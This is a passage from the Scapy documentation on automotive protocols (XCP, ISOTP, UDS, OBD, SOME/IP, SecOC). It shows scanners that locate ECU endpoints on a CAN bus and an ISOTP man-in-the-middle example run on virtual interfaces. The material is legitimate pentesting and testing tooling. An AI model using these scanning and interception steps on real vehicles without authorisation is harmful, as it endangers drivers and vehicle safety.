0x34002006\n\nSince sr1 calls the answers function, our payload of the DTO objects gets interpreted with the\ncommand of our CRO object.\n\n\nUniversal calibration and measurement protocol (XCP)\n====================================================\n\nXCP is the successor of CCP. It is usable with several protocols. Scapy includes CAN, UDP and TCP.\nXCP has two types of message types: Command Transfer Object (CTO) and Data Transmission Object (DTO).\nCTOs send to an Ecu are requests (commands) and the Ecu has to reply with a positive response or an error.\nAdditionally, the Ecu can send a CTO to inform the master about an asynchronous event (EV) or request a service execution (SERV).\nDTOs sent by the Ecu are called DAQ (Data AcQuisition) and include measured values.\nDTOs received by the Ecu are used for a periodic stimulation and are called STIM (Stimulation).\n\n\nCreating a CTO message::\n\n    CTORequest() / Connect()\n    CTORequest() / GetDaqResolutionInfo()\n    CTORequest() / GetSeed(mode=0x01, resource=0x00)\n\nTo send the message over CAN a header has to be added::\n\n    pkt = XCPOnCAN(identifier=0x700) / CTORequest() / Connect()\n    sock = CANSocket(iface=can.interface.Bus(bustype='socketcan', channel='vcan0'))\n    sock.send(pkt)\n\nIf we are interested in the response of an Ecu, we need to set the basecls parameter of the\nCANSocket to XCPonCAN and we need to use sr1:\nSending a CTO message::\n\n    sock = CANSocket(bustype='socketcan', channel='vcan0', basecls=XCPonCAN)\n    dto = sock.sr1(pkt)\n\nSince sr1 calls the answers function, our payload of the XCP-response objects gets interpreted with the\ncommand of our CTO object. Otherwise it could not be interpreted.\nThe first message should always be the \"CONNECT\" message, the response of the Ecu determines how the messages are read. E.g.: byte order.\nOtherwise, one must set the address granularity, and max size of the DTOs and CTOs per hand in the contrib config::\n\n    conf.contribs['XCP']['Address_Granularity_Byte'] = 1  # Can be 1, 2 or 4\n    conf.contribs['XCP']['MAX_CTO'] = 8\n    conf.contribs['XCP']['MAX_DTO'] = 8\n\nIf you do not want this to be set after receiving the message you can also disable that feature::\n\n    conf.contribs['XCP']['allow_byte_order_change'] = False\n    conf.contribs['XCP']['allow_ag_change'] = False\n    conf.contribs['XCP']['allow_cto_and_dto_change'] = False\n\nTo send a pkt over TCP or UDP another header must be used.\nTCP::\n\n    prt1, prt2 = 12345, 54321\n    XCPOnTCP(sport=prt1, dport=prt2) / CTORequest() / Connect()\n\nUDP::\n\n    XCPOnUDP(sport=prt1, dport=prt2) / CTORequest() / Connect()\n\n\nXCPScanner\n---------------\n\nThe XCPScanner is a utility to find the CAN identifiers of ECUs that support XCP.\n\nCommandline usage example::\n\n    python -m scapy.tools.automotive.xcpscanner -h\n    Finds XCP slaves using the \"GetSlaveId\"-message(Broadcast) or the \"Connect\"-message.\n\n    positional arguments:\n      channel               Linux SocketCAN interface name, e.g.: vcan0\n\n    optional arguments:\n      -h, --help            show this help message and exit\n      --start START, -s START\n                            Start identifier CAN (in hex).\n                            The scan will test ids between --start and --end (inclusive)\n                            Default: 0x00\n      --end END, -e END     End identifier CAN (in hex).\n                            The scan will test ids between --start and --end (inclusive)\n                            Default: 0x7ff\n      --sniff_time', '-t'   Duration in milliseconds a sniff is waiting for a response.\n                            Default: 100\n      --broadcast, -b       Use Broadcast-message GetSlaveId instead of default \"Connect\"\n                            (GetSlaveId is an optional Message that is not always implemented)\n      --verbose VERBOSE, -v\n                            Display information during scan\n\n        Examples:\n            python3.6 -m scapy.tools.automotive.xcpscanner can0\n            python3.6 -m scapy.tools.automotive.xcpscanner can0 -b 500\n            python3.6 -m scapy.tools.automotive.xcpscanner can0 -s 50 -e 100\n            python3.6 -m scapy.tools.automotive.xcpscanner can0 -b 500 -v\n\n\nInteractive shell usage example::\n    >>> conf.contribs['CANSocket'] = {'use-python-can': False}\n    >>> load_layer(\"can\")\n    >>> load_contrib(\"automotive.xcp.xcp\")\n    >>> sock = CANSocket(\"vcan0\")\n    >>> sock.basecls = XCPOnCAN\n    >>> scanner = XCPOnCANScanner(sock)\n    >>> result = scanner.start_scan()\n\nThe result includes the slave_id (the identifier of the Ecu that receives XCP messages),\nand the response_id (the identifier that the Ecu will send XCP messages to).\n\nISOTP\n=====\n\nISOTP message\n-------------\n\nCreating an ISOTP message::\n\n   load_contrib('isotp')\n   ISOTP(tx_id=0x241, rx_id=0x641, data=b\"\\x3eabc\")\n\nCreating an ISOTP message with extended addressing::\n\n   ISOTP(tx_id=0x241, rx_id=0x641, rx_ext_address=0x41, data=b\"\\x3eabc\")\n\nCreating an ISOTP message with extended addressing::\n\n   ISOTP(tx_id=0x241, rx_id=0x641, rx_ext_address=0x41, ext_address=0x41, data=b\"\\x3eabc\")\n\nCreate CAN-frames from an ISOTP message::\n\n   ISOTP(tx_id=0x241, rx_id=0x641, rx_ext_address=0x41, ext_address=0x55, data=b\"\\x3eabc\" * 10).fragment()\n\nSend ISOTP message over ISOTP socket::\n\n   isoTpSocket = ISOTPSocket('vcan0', tx_id=0x241, rx_id=0x641)\n   isoTpMessage = ISOTP('Message')\n   isoTpSocket.send(isoTpMessage)\n\nSniff ISOTP message::\n\n   isoTpSocket = ISOTPSocket('vcan0', tx_id=0x641, rx_id=0x241)\n   packets = isoTpSocket.sniff(timeout=0.5)\n\nISOTP Sockets\n-------------\n\nScapy provides two kinds of ISOTP-Sockets. One implementation, the ``ISOTPNativeSocket``\nis using the Linux kernel module from Hartkopp. The other implementation, the ``ISOTPSoftSocket``\nis completely implemented in Python. This implementation can be used on Linux,\nWindows, and OSX.\n\nAn ``ISOTPSocket`` will not respect ``tx_id, rx_id, rx_ext_address, ext_address`` of an ``ISOTP``\nmessage object.\n\nSystem compatibilities\n^^^^^^^^^^^^^^^^^^^^^^\n\nDependent on your setup, different implementations have to be used.\n\n+---------------------+----------------------+-------------------------------------+----------------------------------------------------------+\n| Python \\ OS         | Linux with can_isotp | Linux wo can_isotp                  | Windows / OSX                                            |\n+=====================+======================+=====================================+==========================================================+\n| Python 3            | ISOTPNativeSocket    | ISOTPSoftSocket                     | ISOTPSoftSocket                                          |\n|                     +----------------------+-------------------------------------+                                                          |\n|                     | ``conf.contribs['CANSocket'] = {'use-python-can': False}`` | ``conf.contribs['CANSocket'] = {'use-python-can': True}``|\n+---------------------+------------------------------------------------------------+----------------------------------------------------------+\n| Python 2            | ISOTPSoftSocket                                                                                                       |\n|                     |                                                                                                                       |\n|                     | ``conf.contribs['CANSocket'] = {'use-python-can': True}``                                                             |\n+---------------------+------------------------------------------------------------+----------------------------------------------------------+\n\nThe class ``ISOTPSocket`` can be set to a ``ISOTPNativeSocket`` or a ``ISOTPSoftSocket``.\nThe decision is made dependent on the configuration ``conf.contribs['ISOTP'] = {'use-can-isotp-kernel-module': True}`` (to select ``ISOTPNativeSocket``) or\n``conf.contribs['ISOTP'] = {'use-can-isotp-kernel-module': False}`` (to select ``ISOTPSoftSocket``).\nThis will allow you to write platform independent code. Apply this configuration before loading the ISOTP layer\nwith ``load_contrib('isotp')``.\n\nAnother remark in respect to ISOTPSocket compatibility. Always use ``with`` for\nsocket creation. This ensures that ``ISOTPSoftSocket`` objects will get closed\nproperly.\nExample::\n\n    with ISOTPSocket(\"vcan0\", rx_id=0x241, tx_id=0x641) as sock:\n        sock.send(...)\n\nISOTPNativeSocket\n^^^^^^^^^^^^^^^^^\n\n**Requires:**\n\n* Python3\n* Linux\n* Hartkopp's Linux kernel module: ``https://github.com/hartkopp/can-isotp.git`` (merged into mainline Linux in 5.10)\n\nDuring pentests, the ISOTPNativeSockets has a better performance and\nreliability, usually. If you are working on Linux, consider this implementation::\n\n   conf.contribs['ISOTP'] = {'use-can-isotp-kernel-module': True}\n   load_contrib('isotp')\n   sock = ISOTPSocket(\"can0\", tx_id=0x641, rx_id=0x241)\n\nSince this implementation is using a standard Linux socket, all Scapy functions\nlike ``sniff, sr, sr1, bridge_and_sniff`` work out of the box.\n\nISOTPSoftSocket\n^^^^^^^^^^^^^^^\n\nISOTPSoftSockets can use any CANSocket. This gives the flexibility to use all\npython-can interfaces. Additionally, these sockets work on Python2 and Python3.\nUsage on Linux with native CANSockets::\n\n   conf.contribs['ISOTP'] = {'use-can-isotp-kernel-module': False}\n   load_contrib('isotp')\n   with ISOTPSocket(\"can0\", tx_id=0x641, rx_id=0x241) as sock:\n       sock.send(...)\n\nUsage with python-can CANSockets::\n\n   conf.contribs['ISOTP'] = {'use-can-isotp-kernel-module': False}\n   conf.contribs['CANSocket'] = {'use-python-can': True}\n   load_contrib('isotp')\n   with ISOTPSocket(CANSocket(bustype='socketcan', channel=\"can0\"), tx_id=0x641, rx_id=0x241) as sock:\n       sock.send(...)\n\nThis second example allows the usage of any ``python_can.interface`` object.\n\n**Attention:** The internal implementation of ISOTPSoftSockets requires a background\nthread. In order to be able to close this thread properly, we suggest the use of\nPythons ``with`` statement.\n\nISOTP MITM attack with bridge and sniff\n---------------------------------------\n\nSet up two vcans on Linux terminal::\n\n   sudo modprobe vcan\n   sudo ip link add name vcan0 type vcan\n   sudo ip link add name vcan1 type vcan\n   sudo ip link set dev vcan0 up\n   sudo ip link set dev vcan1 up\n\n\nImport modules::\n\n   import threading\n   load_contrib('cansocket')\n   conf.contribs['ISOTP'] = {'use-can-isotp-kernel-module': True}\n   load_contrib('isotp')\n\nCreate to ISOTP sockets for attack::\n\n   isoTpSocketVCan0 = ISOTPSocket('vcan0', tx_id=0x241, rx_id=0x641)\n   isoTpSocketVCan1 = ISOTPSocket('vcan1', tx_id=0x641, rx_id=0x241)\n\nCreate function to send packet on vcan0 with threading::\n\n   def sendPacketWithISOTPSocket():\n       sleep(0.2)\n       packet = ISOTP('Request')\n       isoTpSocketVCan0.send(packet)\n\nCreate function to forward packet::\n\n   def forwarding(pkt):\n       return pkt\n\nCreate function to bridge and sniff between two buses::\n\n   def bridge():\n       bSocket0 = ISOTPSocket('vcan0', tx_id=0x641, rx_id=0x241)\n       bSocket1 = ISOTPSocket('vcan1', tx_id=0x241, rx_id=0x641)\n       bridge_and_sniff(if1=bSocket0, if2=bSocket1, xfrm12=forwarding, xfrm21=forwarding, timeout=1)\n       bSocket0.close()\n       bSocket1.close()\n\nCreate threads for sending packet and to bridge and sniff::\n\n   threadBridge = threading.Thread(target=bridge)\n   threadSender = threading.Thread(target=sendPacketWithISOTPSocket)\n\nStart threads::\n\n   threadBridge.start()\n   threadSender.start()\n\nSniff on vcan1::\n\n   receive = isoTpSocketVCan1.sniff(timeout=1)\n\nClose sockets::\n\n   isoTpSocketVCan0.close()\n   isoTpSocketVCan1.close()\n\n\nisotp_scan and ISOTPScanner\n---------------------------\n\nisotp_scan is a utility function to find ISOTP-Endpoints on a CAN-Bus.\nISOTPScanner is a commandline-utility for the identical function.\n\n.. image:: ../graphics/animations/animation-scapy-isotpscan.svg\n\nCommandline usage example::\n\n    python -m scapy.tools.automotive.isotpscanner -h\n    usage:\tisotpscanner [-i interface] [-c channel] [-b bitrate]\n                    [-n NOISE_LISTEN_TIME] [-t SNIFF_TIME] [-x|--extended]\n                    [-C|--piso] [-v|--verbose] [-h|--help] [-s start] [-e end]\n\n        Scan for open ISOTP-Sockets.\n\n        required arguments:\n        -c, --channel         python-can channel or Linux SocketCAN interface name\n        -s, --start           Start scan at this identifier (hex)\n        -e, --end             End scan at this identifier (hex)\n\n        additional required arguments for WINDOWS or Python 2:\n        -i, --interface       python-can interface for the scan.\n                              Depends on used interpreter and system,\n                              see examples below. Any python-can interface can\n                              be provided. Please see:\n                              https://python-can.readthedocs.io for\n                              further interface examples.\n        -b, --bitrate         python-can bitrate.\n\n        optional arguments:\n        -h, --help            show this help message and exit\n        -n NOISE_LISTEN_TIME, --noise_listen_time NOISE_LISTEN_TIME\n                              Seconds listening for noise before scan.\n        -t SNIFF_TIME, --sniff_time SNIFF_TIME\n                              Duration in milliseconds a sniff is waiting for a\n                              flow-control response.\n        -x, --extended        Scan with ISOTP extended addressing.\n        -C, --piso            Print 'Copy&Paste'-ready ISOTPSockets.\n        -v, --verbose         Display information during scan.\n\n        Example of use:\n\n        Python2 or Windows:\n        python2 -m scapy.tools.automotive.isotpscanner --interface=pcan --channel=PCAN_USBBUS1 --bitrate=250000 --start 0 --end 100\n        python2 -m scapy.tools.automotive.isotpscanner --interface vector --channel 0 --bitrate 250000 --start 0 --end 100\n        python2 -m scapy.tools.automotive.isotpscanner --interface socketcan --channel=can0 --bitrate=250000 --start 0 --end 100\n\n        Python3 on Linux:\n        python3 -m scapy.tools.automotive.isotpscanner --channel can0 --start 0 --end 100\n\n\nInteractive shell usage example::\n\n    >>> conf.contribs['ISOTP'] = {'use-can-isotp-kernel-module': True}\n    >>> conf.contribs['CANSocket'] = {'use-python-can': False}\n    >>> load_contrib('cansocket')\n    >>> load_contrib('isotp')\n    >>> socks = isotp_scan(CANSocket(\"vcan0\"), range(0x700, 0x800), can_interface=\"vcan0\")\n    >>> socks\n    [<<ISOTPNativeSocket: read/write packets at a given CAN interface using CAN_ISOTP socket > at 0x7f98e27c8210>,\n     <<ISOTPNativeSocket: read/write packets at a given CAN interface using CAN_ISOTP socket > at 0x7f98f9079cd0>,\n     <<ISOTPNativeSocket: read/write packets at a given CAN interface using CAN_ISOTP socket > at 0x7f98f90cd490>,\n     <<ISOTPNativeSocket: read/write packets at a given CAN interface using CAN_ISOTP socket > at 0x7f98f912ec50>,\n     <<ISOTPNativeSocket: read/write packets at a given CAN interface using CAN_ISOTP socket > at 0x7f98f912e950>,\n     <<ISOTPNativeSocket: read/write packets at a given CAN interface using CAN_ISOTP socket > at 0x7f98f906c0d0>]\n\nUDS\n===\n\nThe main usage of UDS is flashing and diagnostic of an Ecu. UDS is an\napplication layer protocol and can be used as a DoIP or HSFZ payload or a UDS packet\ncan directly be sent over an ISOTPSocket. Every OEM has its own customization of UDS.\nThis increases the difficulty of generic applications and OEM specific knowledge is\nrequired for penetration tests. RoutineControl jobs and ReadDataByIdentifier/WriteDataByIdentifier\nservices are heavily customized.\n\nUse the argument ``basecls=UDS`` on the ``init`` function of an ISOTPSocket.\n\nHere are two usage examples:\n\n.. image:: ../graphics/animations/animation-scapy-uds.svg\n.. image:: ../graphics/animations/animation-scapy-uds2.svg\n\n\nCustomization of UDS_RDBI, UDS_WDBI\n-----------------------------------\n\nIn real-world use-cases, the UDS layer is heavily customized. OEMs define their own substructure of packets.\nEspecially the packets ReadDataByIdentifier or WriteDataByIdentifier have a very OEM or even Ecu specific\nsubstructure. Therefore a ``StrField`` ``dataRecord`` is not added to the ``field_desc``.\nThe intended usage is to create Ecu or OEM specific description files, which extend the general UDS layer of\nScapy with further protocol implementations.\n\nCustomization example::\n\n    cat scapy/contrib/automotive/OEM-XYZ/car-model-xyz.py\n    #! /usr/bin/env python\n\n    # Protocol customization for car model xyz of OEM XYZ\n    # This file contains further OEM car model specific UDS additions.\n\n    from scapy.packet import Packet\n    from scapy.contrib.automotive.uds import *\n\n    # Define a new packet substructure\n\n    class DBI_IP(Packet):\n    name = 'DataByIdentifier_IP_Packet'\n    fields_desc = [\n        ByteField('ADDRESS_FORMAT_ID', 0),\n        IPField('IP', ''),\n        IPField('SUBNETMASK', ''),\n        IPField('DEFAULT_GATEWAY', '')\n    ]\n\n    # Bind the new substructure onto the existing UDS packets\n\n    bind_layers(UDS_RDBIPR, DBI_IP, dataIdentifier=0x172b)\n    bind_layers(UDS_WDBI, DBI_IP, dataIdentifier=0x172b)\n\n    # Give add a nice name to dataIdentifiers enum\n\n    UDS_RDBI.dataIdentifiers[0x172b] = 'GatewayIP'\n\nIf one wants to work with this custom additions, these can be loaded at runtime\nto the Scapy interpreter::\n\n    >>> load_contrib('automotive.uds')\n    >>> load_contrib('automotive.OEM-XYZ.car-model-xyz')\n\n    >>> pkt = UDS()/UDS_WDBI()/DBI_IP(IP='192.168.2.1', SUBNETMASK='255.255.255.0', DEFAULT_GATEWAY='192.168.2.1')\n\n    >>> pkt.show()\n    ###[ UDS ]###\n      service= WriteDataByIdentifier\n    ###[ WriteDataByIdentifier ]###\n         dataIdentifier= GatewayIP\n         dataRecord= 0\n    ###[ DataByIdentifier_IP_Packet ]###\n            ADDRESS_FORMAT_ID= 0\n            IP= 192.168.2.1\n            SUBNETMASK= 255.255.255.0\n            DEFAULT_GATEWAY= 192.168.2.1\n\n    >>> hexdump(pkt)\n    0000  2E 17 2B 00 C0 A8 02 01 FF FF FF 00 C0 A8 02 01  ..+.............\n\n.. image:: ../graphics/animations/animation-scapy-uds3.svg\n\nGMLAN\n=====\n\nGMLAN is very similar to UDS. It's GMs application layer protocol for\nflashing, calibration and diagnostic of their cars.\nUse the argument ``basecls=GMLAN`` on the ``init`` function of an ISOTPSocket.\n\nUsage example:\n\n.. image:: ../graphics/animations/animation-scapy-gmlan.svg\n\n\nEcu Utility examples\n====================\n\nThe Ecu utility can be used to analyze the internal states of an Ecu under investigation.\nThis utility depends heavily on the support of the used protocol. ``UDS`` is supported.\n\nLog all commands applied to an Ecu\n----------------------------------\n\nThis example shows the logging mechanism of an Ecu object. The log of an Ecu\nis a dictionary of applied UDS commands. The key for this dictionary is the\nUDS service name. The value consists of a list of tuples, containing a timestamp\nand a log value\n\nUsage example::\n\n    ecu = Ecu(verbose=False, store_supported_responses=False)\n    ecu.update(PacketList(msgs))\n    print(ecu.log)\n    timestamp, value = ecu.log[\"DiagnosticSessionControl\"][0]\n\n\n\nTrace all commands applied to an Ecu\n------------------------------------\n\nThis example shows the trace mechanism of an Ecu object. Traces of the current\nstate of the Ecu object and the received message are printed on stdout.\nSome messages, depending on the protocol, will change the internal state of the Ecu.\n\nUsage example::\n\n    ecu = Ecu(verbose=True, logging=False, store_supported_responses=False)\n    ecu.update(PacketList(msgs))\n    print(ecu.current_session)\n\n\n\nGenerate supported responses of an Ecu\n--------------------------------------\n\nThis example shows a mechanism to clone a real world Ecu by analyzing a list of Packets.\n\nUsage example::\n\n    ecu = Ecu(verbose=False, logging=False, store_supported_responses=True)\n    ecu.update(PacketList(msgs))\n    supported_responses = ecu.supported_responses\n    unanswered_packets = ecu.unanswered_packets\n    print(supported_responses)\n    print(unanswered_packets)\n\n\n\nAnalyze multiple UDS messages\n-----------------------------\n\nThis example shows how to load ``UDS`` messages from a ``.pcap`` file containing\n``CAN`` messages. A ``PcapReader`` object is used as socket and an\n``ISOTPSession`` parses ``CAN`` frames to ``ISOTP`` frames which are\nthen casted to ``UDS`` objects through the ``basecls`` parameter\n\nUsage example::\n\n    with PcapReader(\"test/contrib/automotive/ecu_trace.pcap\") as sock:\n        udsmsgs = sniff(session=ISOTPSession(use_ext_addr=False, basecls=UDS), count=50, opened_socket=sock)\n\n\n    ecu = Ecu()\n    ecu.update(udsmsgs)\n    print(ecu.log)\n    print(ecu.supported_responses)\n    assert len(ecu.log[\"TransferData\"]) == 2\n\n\n\nAnalyze on the fly with EcuSession\n----------------------------------\n\nThis example shows the usage of an EcuSession in sniff. An ISOTPSocket or any\nsocket like object which returns entire messages of the right protocol can be\nused. An ``EcuSession`` is used as supersession in an ``ISOTPSession``.\nTo obtain the ``Ecu`` object from an ``EcuSession``, the ``EcuSession``\nhas to be created outside of sniff.\n\nUsage example::\n\n    session = EcuSession()\n\n    with PcapReader(\"test/contrib/automotive/ecu_trace.pcap\") as sock:\n        udsmsgs = sniff(session=ISOTPSession(use_ext_addr=False, basecls=UDS, supersession=session)), count=50, opened_socket=sock)\n\n    ecu = session.ecu\n    print(ecu.log)\n    print(ecu.supported_responses)\n\n\n\nSOME/IP and SOME/IP SD messages\n===============================\n\nCreating a SOME/IP message\n--------------------------\n\nThis example shows a SOME/IP message which requests a service 0x1234 with the\nmethod 0x421. Different types of SOME/IP messages follow the same procedure\nand their specifications can be seen here\n``http://www.some-ip.com/papers/cache/AUTOSAR_TR_SomeIpExample_4.2.1.pdf``.\n\n\nLoad the contribution::\n\n   load_contrib('automotive.someip')\n\nCreate UDP package::\n\n   u = UDP(sport=30509, dport=30509)\n\nCreate IP package::\n\n   i = IP(src=\"192.168.0.13\", dst=\"192.168.0.10\")\n\nCreate SOME/IP package::\n\n   sip = SOMEIP()\n   sip.iface_ver = 0\n   sip.proto_ver = 1\n   sip.msg_type = \"REQUEST\"\n   sip.retcode = \"E_OK\"\n   sip.srv_id = 0x1234\n   sip.method_id = 0x421\n\nAdd the payload::\n\n   sip.add_payload(Raw (\"Hello\"))\n\nStack it and send it::\n\n   p = i/u/sip\n   send(p)\n\n\nCreating a SOME/IP SD message\n-----------------------------\n\nIn this example a SOME/IP SD offer service message is shown with an IPv4 endpoint. Different entries and options basically follow the same procedure as shown here and can be seen at ``https://www.autosar.org/fileadmin/user_upload/standards/classic/4-3/AUTOSAR_SWS_ServiceDiscovery.pdf``.\n\nLoad the contribution::\n\n   load_contrib('automotive.someip')\n\nCreate UDP package::\n\n   u = UDP(sport=30490, dport=30490)\n\nThe UDP port must be the one which was chosen for the SOME/IP SD transmission.\n\nCreate IP package::\n\n   i = IP(src=\"192.168.0.13\", dst=\"224.224.224.245\")\n\nThe IP source must be from the service and the destination address needs to be the chosen multicast address.\n\nCreate the entry array input::\n\n   ea = SDEntry_Service()\n\n   ea.type = 0x01\n   ea.srv_id = 0x1234\n   ea.inst_id = 0x5678\n   ea.major_ver = 0x00\n   ea.ttl = 3\n\nCreate the options array input::\n\n   oa = SDOption_IP4_EndPoint()\n   oa.addr = \"192.168.0.13\"\n   oa.l4_proto = 0x11\n   oa.port = 30509\n\nl4_proto defines the protocol for the communication with the endpoint, UDP in this case.\n\nCreate the SD package and put in the inputs::\n\n   sd = SD()\n   sd.set_entryArray(ea)\n   sd.set_optionArray(oa)\n\nStack it and send it::\n\n   p = i/u/sd\n   send(p)\n\n\nOBD\n===\n\nOBD is implemented on top of ISOTP. Use an ISOTPSocket for the communication with an Ecu.\nYou should set the parameters ``basecls=OBD`` and ``padding=True`` in your ISOTPSocket init call.\n\nOBD is split into different service groups. Here are some example requests:\n\nRequest supported PIDs of service 0x01::\n\n   req = OBD()/OBD_S01(pid=[0x00])\n\nThe response will contain a PacketListField, called `data_records`. This field contains the actual response::\n\n   resp = OBD()/OBD_S01_PR(data_records=[OBD_S01_PR_Record()/OBD_PID00(supported_pids=3196041235)])\n   resp.show()\n   ###[ On-board diagnostics ]###\n     service= CurrentPowertrainDiagnosticDataResponse\n   ###[ Parameter IDs ]###\n        \\data_records\\\n         |###[ OBD_S01_PR_Record ]###\n         |  pid= 0x0\n         |###[ PID_00_PIDsSupported ]###\n         |     supported_pids= PID20+PID1F+PID1C+PID15+PID14+PID13+PID11+PID10+PID0F+PID0E+PID0D+PID0C+PID0B+PID0A+PID07+PID06+PID05+PID04+PID03+PID01\n\n\nLet's assume our Ecu under test supports the pid 0x15::\n\n   req = OBD()/OBD_S01(pid=[0x15])\n   resp = sock.sr1(req)\n   resp.show()\n   ###[ On-board diagnostics ]### \n     service= CurrentPowertrainDiagnosticDataResponse\n   ###[ Parameter IDs ]### \n        \\data_records\\\n         |###[ OBD_S01_PR_Record ]###\n         |  pid= 0x15\n         |###[ PID_15_OxygenSensor2 ]### \n         |     outputVoltage= 1.275 V\n         |     trim= 0 %\n\n\nThe different services in OBD support different kinds of data. \nService 01 and Service 02 support Parameter Identifiers (pid).\nService 03, 07 and 0A support Diagnostic Trouble codes (dtc).\nService 04 doesn't require a payload.\nService 05 is not implemented on OBD over CAN.\nService 06 supports Monitoring Identifiers (mid).\nService 08 supports Test Identifiers (tid).\nService 09 supports Information Identifiers (iid).\n\nExamples:\n---------\n\nRequest supported Information Identifiers::\n\n   req = OBD()/OBD_S09(iid=[0x00])\n\nRequest the Vehicle Identification Number (VIN)::\n\n   req = OBD()/OBD_S09(iid=0x02)\n   resp = sock.sr1(req)\n   resp.show()\n   ###[ On-board diagnostics ]### \n     service= VehicleInformationResponse\n   ###[ Infotype IDs ]###\n        \\data_records\\\n         |###[ OBD_S09_PR_Record ]###\n         |  iid= 0x2\n         |###[ IID_02_VehicleIdentificationNumber ]###\n         |     count= 1\n         |     vehicle_identification_numbers= ['W0L000051T2123456']\n\n   \n.. image:: ../graphics/animations/animation-scapy-obd.svg\n\n\nMessage Authentication (AUTOSAR SecOC)\n======================================\n\nAutoSAR SecOC is a security architecture protecting communication between ECUs in a vehicle from cyber-attacks.\n\n- **Module**: AUTOSAR\n- **Functions**: Provides message integrity and authentication\n- **Protection**: Freshness value to counter replay attacks\n- **Cryptography**: Supports asymmetric and symmetric methods\n- **Key Distribution**: Not specified\n- **Unique Identifiers**: Every PDU has a SecOCDataID\n  - **CAN Networks**: Uses CAN identifier\n  - **Ethernet Networks**: Uses PDU identifier or mappings to SecOCDataIDs\n\n.. figure:: ../graphics/automotive/autosar1.png\n   :alt: Overview SecOC. Author: AUTOSAR\n\nGeneration\n----------\n\n- Secured I-PDU includes freshness value and MAC\n- Freshness value increments on every transmit or derived from a tick count\n- MAC generation uses SecOCDataID, PDU, and freshness value\n- In symmetric mode, MAC bits can be truncated, reducing security\n\nTruncation\n----------\n\n.. figure:: ../graphics/automotive/autosar2.png\n   :alt: Secured I-PDU contents with truncated Freshness Counter and truncated Authenticator. Author: AUTOSAR\n\n- MAC and freshness value are transferred in truncated format to save bandwidth\n\nVerification\n------------\n\n- Only LSBs of the freshness value are transmitted\n- Compute full freshness value internally\n  - Overwrite LSBs of the last received value\n  - Increment MSBs if received LSBs are smaller than the last LSBs\n- Calculate MAC from PDU and full freshness count\n- Accept PDU if calculated and transmitted MACs match, otherwise reject\n\nProfiles\n--------\n\nAutoSAR specifies three profiles for truncated freshness value and MAC sizes. All use CMAC with AES128:\n\n- **Profile 1 (24Bit-CMAC-8Bit-FV)**\n  - Algorithm: CMAC/AES-128\n  - Freshness value: 8 bits\n  - MAC: 24 bits\n\n- **Profile 2 (24Bit-CMAC-No-FV)**\n  - Algorithm: CMAC/AES-128\n  - Freshness value: 0 bits\n  - MAC: 24 bits\n  - No freshness values used\n\n- **Profile 3 (JASPAR)**\n  - Algorithm: CMAC/AES-128\n  - Freshness value: 64 bits\n  - Truncated Freshness value: 4 bits\n  - MAC: 28 bits\n\nFreshness Value\n---------------\n\nProtects against replay attacks. AUTOSAR recommends a structure for the freshness value, commonly distributed via authenticated PDUs.\n\n.. figure:: ../graphics/automotive/autosar3.png\n   :alt: Structure of FreshnessValue. Author: AUTOSAR\n\nSync Message\n------------\n\nSynchronizes the 'Trip Counter' and 'Reset Counter' across all ECUs to maintain a consistent freshness value.\n\n- Sync message sent when 'Message Counter' overflows\n- Security recommendation: Use broadcast or multicast to prevent DoS attacks\n\n.. figure:: ../graphics/automotive/autosar4.png\n   :alt: Format of the synchronization message (TripResetSyncMsg). Author: AUTOSAR\n\nSecOC in Scapy\n==============\n\nScapy supports the dissection, building, verification, and authentication of SecOC messages sent via AUTOSAR PDUs or CANFD packets. The implementation is designed to be vendor-independent and easily customizable, addressing common challenges such as handling freshness values and differentiating between SecOC and non-SecOC PDUs.\n\nGeneral Implementation Difficulties\n-----------------------------------\n\nImplementing SecOC in Scapy involves several challenges:\n\n- **Vendor-Specific Implementations**: Different Original Equipment Manufacturers (OEMs) define their own standards for implementing SecOC, requiring the Scapy implementation to be flexible and adaptable.\n- **Freshness Value Tracking**: Freshness values need to be tracked accurately to ensure proper message authentication and to prevent replay attacks.\n- **SecOCDataID Management**: The SecOCDataID, which uniquely identifies each PDU, must be known and managed correctly.\n- **Mix of SecOC and Non-SecOC PDUs**: SecOC PDUs are mixed with non-SecOC PDUs, and the only difference is their identifier. Proper identification and handling are crucial for correct processing.\n\nCustomization\n-------------\n\nScapy SecOC Packets provide three stub functions that need to be customized to handle SecOC properly:\n\n.. code-block:: python\n\n   class My_SecOC_CANFD(SecOC_CANFD):\n\n       def get_secoc_payload(self) -> bytes:\n           \"\"\"\n           This method retrieves the payload, including the SecOCDataID,\n           which is used for MAC computation.\n           \"\"\"\n           secoc_data_id = self.identifier  # CANFD identifier\n           payload = self.pdu_payload\n           return bytes(secoc_data_id) + bytes(payload)\n\n       def get_secoc_key(self) -> bytes:\n           \"\"\"\n           This method provides the secret key for the specified SecOCDataID.\n           \"\"\"\n           secoc_data_id = self.identifier\n           secoc_key = GLOBAL_KEYS[secoc_data_id]\n           return secoc_key\n\n       def get_secoc_freshness_value(self) -> bytes:\n           \"\"\"\n           This method provides the full freshness value required for MAC computation.\n           \"\"\"\n           freshness_value = trip_count + reset_counter + message_count + self.tfv\n           return bytes(freshness_value)\n\nPreparation\n-----------\n\nTo properly dissect SecOC and non-SecOC AUTOSAR PDUs or CANFD frames, SecOC PDUs need to be registered. This registration informs the dissector whether to use SecOC variants or non-SecOC variants of the packet for dissection.\n\n.. code-block:: python\n\n   My_SecOC_CANFD.register_secoc_protected_pdu(pdu_id=0x123)\n\n   socket = CANSocket(\"vcan0\", fd=True, basecls=My_SecOC_CANFD)\n\nThe above code registers the PDU with identifier `0x123` as a SecOC_CANFD packet. All other packets will be interpreted as regular CANFD packets.\n\nWorking with SecOC\n------------------\n\nOnce you have obtained a SecOC packet from a socket or a PCAP file, you can use the SecOC-related functions to handle authentication and verification.\n\n.. code-block:: python\n\n   # Suppose this is our SecOC packet\n   pkt: My_SecOC_CANFD\n\n   # A call to secoc_authenticate will update the truncated freshness value and the truncated MAC of the packet\n   pkt.secoc_authenticate()\n\n   # The truncated freshness value and MAC are now updated\n   print(pkt.tfv)  # Updated truncated freshness value\n   print(pkt.tmac)  # Updated truncated MAC\n\n   # A call to secoc_verify will compute the MAC from the payload of the packet and the local freshness value,\n   # then compare it with the truncated MAC of the packet.\n   if pkt.secoc_verify():\n       print(\"Message verified\")\n\n\n\nSimulating ECUs and Security Functions\n=======================================\n\n\nModeling an ECU as an Automaton\n-------------------------------\n\nTo begin, we need to power cycle our simulated ECU by creating a simple automaton with two states: ON and OFF.\nBefore building the actual ECU automaton, we require a power supply interface.\n\nPower Supply\n------------\n\nThe power supply object serves as the interface to power cycle our ECU automaton. It enables communication between the\nautomaton and the power supply to 